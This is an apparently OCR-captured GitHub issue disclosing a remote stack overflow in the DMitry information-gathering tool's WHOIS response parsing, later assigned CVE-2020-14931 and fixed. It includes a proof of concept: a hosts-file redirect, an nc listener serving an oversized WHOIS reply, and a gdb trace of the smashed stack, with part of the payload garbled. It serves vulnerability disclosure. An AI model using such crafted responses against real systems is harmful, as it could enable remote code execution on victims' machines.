Jump to bottom New issue

## Remote Stack Overflow (possible RCE) #4

⊙ Closed carter-yagemann opened this issue on Jun 19, 2020 · 1 comment

```
Contributor
carter-yagemann commented on Jun 19, 2020 • edited •
Continuing my analysis, this software is also vulnerable to stack overflows triggered by responses from WHOIS servers, which is dangerous since these connections are unencrypted TCP.
This is distinctly different from CVE-2017-7938 because the attack vector is a remote adversary (not local), either controlling the WHOIS server or intercepting the victim's unencrypted network
traffic. It also exploits a different part of the code.
For simplicity, I'm going to redirect DMitry's WHOIS query by modifying my local /etc/hosts:
   127.0.0.1
                            Af.whois-servers.net
Next, I use no to act as the WHOIS server.
   echo -e "Domain Name: foo\nDomain Status:
     \frac{1}{1} \frac{1}
    | sudo nc -q 5 -1 -p 43
      4
While that's running, let's see what happens in DMitry:
   $ gdb ./dmitry
    (gdb) r -w EAf
    Starting program: [...]/dmitry -w EAf
Deepmagic Information Gathering Tool
    "There be some deep magic going on"
   ERROR: Unable to locate Host IP addr. for EAf
   Continuing with limited modules
    HostIP:
    HostName: EAf
    Gathered Inic-whois information for EAf
    Domain Name: foo
    Domain Status: bar
    Domain Status: ha
    Program received signal SIGSEGV, Segmentation fault.
    0x000055555557c8c in nic_format_buff (buff=<optimized out>, listn=0) at src/nwhois.c:141
                            if ( strlen(frmtdbuff) ) linetodo = 1;
    (gdb) bt
    #0 0x000055555557c8c in nic_format_buff (buff=<optimized out>, listn=0) at src/nwhois.c:141 #1 0x414155555557dfc in ?? ()
    #2 0x41414141414141 in ?? ()
    #3 0x41417ffffffffe240 in ?? ()
    #4 0x4e206e69616d6f44 in ?? ()
    #5 0x6f6f66203a656d61 in ?? ()
   #6 0x206e69616d6f440a in ?? ()
#7 0x203a737574617453 in ?? ()
    #8 0x414141410a726162 in ?? ()
    #9 0x41414141414141 in ?? ()
    #10 0x41414141414141 in ?? ()
    #11 0x41414141414141 in ?? ()
#12 0x41414141414141 in ?? ()
    #13 0x41414141414141 in ?? ()
    #14 0x41414141414141 in ?? ()
   [...]
Here we obliterated the stack, but a more carefully crafted response may be able to achieve code execution.
```

carter-vagemann commented on Jun 20, 2020 This vulnerability has been assigned CVE-2020-14931. Carter-yagemann mentioned this issue on Jun 20, 2020

Do not let frmtdbuff overflow in nic\_format\_buff. #6

**1**→ Merged

**b** jaygreig86 closed this as completed on Jul 2, 2020

Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development
No branches or pull requests

